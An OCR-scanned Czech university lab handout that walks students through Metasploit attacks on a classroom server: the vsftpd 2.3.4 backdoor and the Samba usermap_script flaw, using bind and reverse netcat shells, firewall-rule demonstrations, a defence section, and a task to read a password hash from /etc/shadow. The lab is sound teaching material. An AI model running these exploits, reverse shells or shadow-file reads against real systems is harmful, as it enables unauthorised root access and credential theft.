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Cilem tohoto cviceni je vyzkouseni riznych zranitelnosti pomoci exploitd.

Exploit je specialni program, data nebo sekvence ptikaz(, které vyuZivaji programatorskou chybu, ktera
zpUsobi plvodné nezamyslenou ¢innost software a umozZiuje tak ziskat néjaky prospéch.

1 Metasploit

Ve cviceni budeme pouZivat Metasploit. Jedna se o Penetration testing framework od firmy Rapid7.
Jde o velkou databazi exploitli, kterd je pribéiné aktualizovdana o nové zranitelnosti. Framework
umoziiuje efektivné vyhledavat rlizné typy exploitl a pak je rychle a efektivné pouZzit.

Mimo samotnych exploitd framework obsahuje i pomocné nastroje napfiklad pro prohledani sité,
detekci verzi program atd.

2 Utok na FTP serveru s backdoorem

Zdrojovy koéd FTP serveru vsftpd 2.3.4 byl napaden Gtocniky a byl do néj vloZzen backdoor. V prvnim
ukolu si vyzkousime zneuziti tohoto backdooru. Backdoor umoziuje vzdalené prihlaseni s pravy roota.

2.1 Skenovéani FTP

V prvnim kroku zjistime verzi FTP serveru

e nmap-sV 10.0.88.10

21/tcp open ftp vsftpd 2.3.4
| ftp-anon:Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
\
STAT :

| FTP server status:

\ Connected to 192.168.88.235

\ Logged in as ftp

| TYPE: ASCII

\ No session bandwidth limit

\ Session timeout in seconds is 300

| Control connection is plain text

\ Data connections will be plain text
\ vsFTPd 2.3.4 - secure, fast, stable

Zjisténi zranitelnosti

e Ve vypisu nmap je vidét verze vsFTPD 2.3.4.
e Vyhledejte heslo vsFTPd 2.3.4 pomoci googlu
e Podivejte se na
stranku https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd 234 backdoor
e Jednd se backdoor umyslné pfidany hackery do FTP serveru. Na strance je utok velmi
podrobné popsany véetné zdrojového kédu.

Ochrana proti exploitu

e Aktualizovat na verzi vsFTPd, ktera chybu/backdoor neobsahuje


https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor

2.2 Inicializace Metasploit

Ve druhém kroku pfipravime metasploit. Pfi prvnim spusténi frameworku Metasploit je tfeba vytvorit
databazi a nastavit jeji automaticky start. Databaze obsahuje exploity, informace atd.

e sudo msfdb init
e sudo systemctl enable postgresql

2.3 Prvni start metasploit

Po startu console frameworku ovéfime stav databdze a zobrazime si dostupné exploity a ndpovédu.

e msfconsole

e db_status
e show exploits
e help

e search ftp

msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor
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=[ metasploit v6.4.1-dev 1
+ —— -—-=[ 2407 exploits - 1239 auxiliary - 422 post ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops ]
+ -—— -—=[ 9 evasion 1

Metasploit Documentation: https://docs.metasploit.com/

msf6 > db_status
[#] Connected to msf. Connection type: postgresql.

2.4 Exploit vsftpd

V tomtu kroku realizujeme vlastni exploit pomoci Metasploitu.
Utok nelze provadét paralelné z vice serverd. V dal$im postupu pockejte na pokyn vyucujiciho.

Na serveru 10.0.88.10 je vsftpd sluzba s backdoorem. Tento backdoor pouZijeme pro ziskani root
opraveni na serveru.

Exploity a nastroje jsou v Metasploitu poskladany v hierarchické strukture. Pfi psani pfikazu mizeme
pouzivat klavesu TAB, ktery nam podobné jako bashi doplfiuje ptikaz. Metasploit obsahuje i historii
prikazl, ve které se pohybujeme Sipkami nahoru a dolG.



Nejprve si zjistime informace o exploitu a pak ho spustime.

¢ info exploit/unix/ftp/vsftpd_234 backdoor
¢ info exploit/unix/ftp/vsftpd_234 backdoor -d
o use exploit/unix/ftp/vsftpd_234 backdoor

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info exploit/unix/ftp/vsftpd_234_backdoor

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
Id Name

= 0 Automatic

Check supported:

No
Basic options:
Name Current Setting Required Description
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
ploit.html
RPORT 21 yes The target port (TCP)

Payload information:
Space: 2000
Avoid: @ characters

Nez mlzeme exploit pouzit, musime nastavit parametry utoku. Je tfeba nastavit cilovou IP adresu
pomoci parametru RHOST.

¢ show options
e set RHOST 10.0.88.10
¢ show options

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.0.88.10
RHOST = 10.0.88.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd 234 _backdoor):

Name Current Setting Required Description

RHOSTS 10.0.88.10 yes The target host(s), see https:
sploit.html

RPORT 21 yes The target port (TCP)

Spustime exploit.

o exploit



msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.0.88.10:21
[*] 10.0.88.10:21
10.0.88.10:21
10.0.88.10:21
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.31:35839 — 10.0.88.10:6200) at 2024-05-16 05:24:25 -0400

Banner: 220 (vsFTPd 2.3.4)

USER: 331 Please specify the password.
Backdoor service has been spawned, handling ...
UID: uid=0(root) gid=0(root)

LI | 1 1

Sice se neukazuje prompt, ale Ize zaddvat prikazy. Vyzkousejte pfikazy jako:

e id
e whoami
e ipa
o sl
e exit
id
uid=0(root) gid=0(root)
whoami
“Hoor
ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 gdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_1ft forever preferred_lft forever
2: eth@: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast glen 1000
link/ether 00:0c:29:15:24:9e brd ff:ff:ff:ff:ff:ff
inet 1OWOW88MI0)/24 brd 10.0.88.255 scope global eth@
inet6 fe80::20c:29ff:fel5:249e/64 scope link
valid_1ft forever preferred_lft forever

1s -1

total 81

-IW-r--r-- 1 root root O May 6 07:49 10

-IrW-r-—r-—- 1 root root O Mav 6 07:42 TaQ2a~iAr~=xd

3 Utok na chybu v sambé

V toto uUkolu si ukdZzeme Utok na chybu vimplementaci Samby. Samba je volné dostupna sitova sluzba,
ktery implementuje serverovou ¢dast protokolu CIFS na klienta s Linuxem. Jinymi slovy pomoci Samby
dokazete na unixu vytvofit sdileny disk, ktery Ize pfipojit k Windows.

3.1 Payload

NeZ provedeme Utok, musime si vysvétlit pojem payload. Payload je maly kdd, ktery provadi samotnou
Skodlivou akci (spusténi prikazového radku, spusténi pythonu, ...)

Velmi casto je velikost payloadu omezena principem chyby. Naptiklad pamét pretece jen o nékolik
byt(.

3.1.1 Bind payload

Bind payload se chova tak, Ze na utoc¢nik na pocitaci obéti spusti program, ktery posloucha na jim
definovaném portu. Uto¢nik se pak ze svého pocitace pfihlasi na tento port. Komunikaci zahajuje tedy
utocnik.



==

Kali Server

Payloadem je tedy néjaka sitova sluzba.

Nevyhodou bind payloadu je moZna blokace portu firewallem. Kdy administratofi na serveru povoluji
pouze porty, na kterych bézi regulérni sluzby. Pfistupy na jiné porty jsou automaticky zamitnuty.

3.1.2 Reverse payload

Tento typ payloadu funguje pfesné obracené. Na Utocnikoveé pocitaci se spusti proces, ktery posloucha
na definovaném portu (4444, 80, 8080, ...).

Reverse payload predstavuje kdd, ktery se pfihlasi na sitovou sluzbu na utoénikové poditadi.

Komunikaci tedy zahajuje pocitac obéti.

m (——

==

Kali Server

Casto firewally nefiltruji odchozi komunikaci, takZe pokud bind payload zakaZe firewall, tak reverse
payload mze prochazet. Pokud peclivi administratofi filtruji i odchozi komunikaci, pak jsou povolené
pouze porty typickych sluzeb jako HTTP (80), HTTPS (443) apod.

3.2 Skenovaniverze samby a hledani exploitu

Vyhleddme zranitelnosti na serveru a zamérime se na sluzbu Samba, kterd bézi na portech 139 a 445.

e nmap-sV-sC10.0.88.10

| 1UuvuvLs i JULOZ/ uupy S2Lavus
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Zkusime pouZzit ndstroje metasploitu pro zjisténi konkrétni verze, a to pro vice IP najednou.

e msfconsole
e use auxiliary/scanner/smb/smb_version
e show options



e set RHOST 10.0.88.10-20
e setthreads 10
e run

msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.0.88.10:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 10.0.88.10:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)

[*] 10.0.88.10-20: - Scanned 3 of 11 hosts (27% complete)

[#*] 10.0.88.10-20: - Scanned 4 of 11 hosts (36% complete)

[*] 10.0.88.10-20: - Scanned 10 of 11 hosts (90% complete)

[*] 10.0.88.10-20: - Scanned 10 of 11 hosts (90% complete)

[*] 10.0.88.10-20: - Scanned 10 of 11 hosts (90% complete)

[*] 10.0.88.10-20: - Scanned 11 of 11 hosts (100% complete)

[#] Auxiliary module execution completed

Pomoci nmapu nebo utility smb_version jsme zjistili, Ze na serveru je Samba 3.0.20. Zkusime vyhledat,
zda neni zranitelna.

Vyhledani exploitu

e  Zkuste zranitelnosti vyhleddvat v databazi Exploidb

e Vyhledavani vyzkousejte i v Google, kdy mlzete zkusit dotazy jako "samba 3.0.20 exploit"
nebo "samba 3 username"

e Podivame se na zranitelnost Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command
Execution (Metasploit)

e Zranitelnost Username umoziuje vzdalené spustit néjaky kod.

3.3 Exploit s bind payloadem

Dale se pokusime nalezeny exploit zneufZit.

e msfconsole
e search samba
e use exploit/multi/samba/usermap_script

Dostavame hlasku, Zze nemame zvoleny payload, tedy pfikaz, ktery se spusti na pocitaci obéti. ProtoZe
zatim nemdme pfistup k pocitaci obéti, musime vybrat payload, ktery tam je spustitelny.

ProtoZe payload ma zpravidla podobu pfikazd, musime zvolit takovy, ktery je na pocitaci nainstalovany.
Pokud napfriklad zvolime payload/cmd/unix/bind_perl, tak na pocitadi musi byt perl nainstalovany. My
zvolime bind payload bind_netcat, ktery predpoklada, Ze pocitaci obéti je utilita netcat. Payload
nastavime tak, Ze netcat otevie port 4444 a bude cekat na pfihlaseni.

AZ budete Utok provadét, tak si port zménte na Cislo v rozsahu 4450 aZz 4470 podle Cisla pocitace. 4450
+ Cislo pocitace.
Pfed zahajenim Utoku musime vybrat payload a nastavit parametry:

e RHOST definuje IP adresu cile

e RPORT urcuje port, na kterém posloucha Samba
e LPORT urcuje port, na kterém se vytvori spojeni


https://www.exploit-db.com/
https://www.exploit-db.com/exploits/16320
https://www.exploit-db.com/exploits/16320

Postupné spustte tyto prikazy:

e show payloads

e set payload cmd/unix/bind_netcat
e show options

e set RHOST 10.0.88.10

e set LPORT 4444

e show options

Module options (exploit/multi/samba/usermap_script):

Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:
host:port][ ... ]

RHOSTS 10.0.88.10 yes The target host(s), see https://docs.metasplo
it.com/docs/using-metasploit/basics/using-met
asploit.html

RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/bind_netcat):

Name Current Setting Required Description

LPORT 4444 yes The listen port
RHOST 10.0.88.10 no The target address

Nyni spustime utok.

e exploit

LrwiNT 7 TTTT

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started bind TCP handler against 10.0.88.10:4444

[*] Command shell session 2 opened (192.168.1.31:43121 — 10.0.88.10:4444) at 2024-05-
16 07:14:47 -0400

whoami
root

Sice se neukazuje prompt, ale Ize zaddvat prikazy. Vyzkousejte prikazy jako:

e whoami
e ipa
o sl

Spojeni miZeme vypsat prikazem netstat. Pfikaz mGzZeme spustit na obou pocitacich.



msfadmin@metasploitable:~$ netstat

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address Foreign Address
tcp 0 0 10.0.88.10:4444 192.168.1.31:43121
L-¢ netstat | orep 4444

tcp 0 0 192.168.1.31:43121 meta:&444s

Ukoncete spojeni.
o exit

3.4 Firewall

State
ESTABLISHED

ESTABLISHED

Komunikace prochazi pres Cisco ASA firewall. V konfiguraci firewallu jsou definovany 4 rozhrani. Pro
nas jsou dulezitd rozhrani inside a vm. Do rozhrani inside spadaji vSechny pocitace v ucebné. Do

rozhrani vm spadaji virtutalni servery, mezi které patfi i metaspoiltable.

10.0.88.1/2

Interface IP Address/Mask
inside 192.168.1.1/24
management 10.0.17.15/24
outside 195.113.124.60/25

Kdyz se podivdme do dashboardu firewallu, tak je vidét, Ze se pfi Utoku pouzival port 4444.

Top 10 Services Top 10 Sources Top 10 Destinations Top 10 Users
Interval: [Last 1hour | Based on: | Packet Hits | Display: | Table
# Port/protocol Average (pps) Current (pps) Total Packets
1 HTTPS-443 19 15 68 443
2DNS-53 0 1 799
3 Port-8191-65535 0 0 516
4 HTTP-Alternat-8080 0 0 409
5 55H-22 0 0 311
6 Port-8130 0 0 305
0 0 203
8 HTTP-80 0 0 171
9 ICMP-1 0 0 80
10 MS-DS/SMB-445 0 0 63

KdyZ se podivdme do Configuration / Firewall / Access rules, tak jsou vidét dvé aktivni pravidla, ktera

povoluji veSkerou IP komunikaci.



& ® inside (3 incoming rules)

I I I I o I Y - N I
i @ a8 LANinside A LAN_vm *ip  Permit 1§ 4103

i3 @  afLANinside @ any 1 ip o Permit | 4960

Nyni povolime pravidlo, které zakazuje komunikaci z LAN_inside do LAN_vm pfes porty 4000 - 5000.

Source Criteria: Destination Criteria:
= Enabled Action Hits Logging Time Description
Source User Security Group Source Service Destination Security Group ~ Destination Service

= 5% inside (3 incoming rules)

s || Fwin | |mmeewbot % 0ew | %8 Aen| okncon)

LAN_inside @ LAN_vm IFip Permit 1 4103

_i A 10

@ 8 AN inside @ any = permit ™ 4967
10

Zopakujeme utok a dostaneme nasledujici chybu.
sf6 exploit(multi/samba/usermap_script) > exploit

[#] Started bind TCP handler against 10.0.88.10:4444
[*] Exploit completed, but no session was created.

Ve firewallu se zvysi pocet Hits u prvniho pravidla.

Source Criteria: Destination Criteria:
# Enabled Action Hits Logging Time Description
Source User Security Group Source Service Destination Security Group Destination Service

=] _? inside (3 mcommg rules)
i2 (] gﬂLAN msade 3§LAN vm 1 ip o Permit % 4104
i3 @ B LA inside @ any 1€ ip o Permit | 5016

V grafu jsou vidét zahozené packety.

Dropped Packets Rate
-
o
13:53 13:54 13:55
I ACL Dropped: 0 M Inspection Dropped: 0

3.5 Exploit Samby s reverznim payloadem

Ve chvili, kdy jsme na firewallu zakazali Gtok pomoci bind payload, vyzkousime si reverzni payload.

e msfconsole

e search samba

e use exploit/multi/samba/usermap_script
e show payloads

e set PAYLOAD cmd/unix/reverse_netcat



e show options

e set RHOST 10.0.88.10 - IP adresa déravého serveru
e set LHOST 192.168.1.31 - IP adresa kali

e set LPORT 4444

mst6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name Current Setting Required Description

RHOSTS 10.0.88.10 yes The target host(s), see https://docs.metasploi
t.com/docs/using-metasploit/basics/using-metas
ploit.html

RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description

LHOST 192.168.1.31 yes The listen address (an interface may be specifi
ed)
LPORT 4444 yes The listen port

Spustime exploit.
o exploit

nsf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.1.31:4444
[*] Command shell session 5 opened (192.168.1.31:4444 — 10.0.88.10:50216) at 2024-05-
16 08:01:26 -0400

3.6 Obrana

Prvni obranou je udrZovani aktualizovanych verzi operacniho systému, sitovych sluzeb a programa. To
nas oviem nemusi ochranit pred zero-day utoky.

Proto je nutné do infrastruktury implementovat a spravné nakonfigurovat bezpecnostni zafizeni.
¢ Na firewallu povolujeme pouze nezbytné prichozi porty
¢ Na firewallu povolujeme pouze nezbytné odchozi porty
e MiZeme pouZzit proxy server pro kontrolu odchozich HTTP pozZadavkii
e Do pocitaCové sité instalujeme prvky jako IDS (Intrusion Detection System), IPS (Intrusion
Prevention System), které v sitové komunikaci dokazi odhalit a pfipadné zabranit

probihajicim utoklm.

4 Ukol

e Provedte Utok pomoci exploitu exploit/multi/samba/usermap_script na server 10.0.88.10

10



Zjistéte cely radek s hashem hesla uZivatele bbis ze souboru /etc/shadow a ten vlozte do
moodlu.

11
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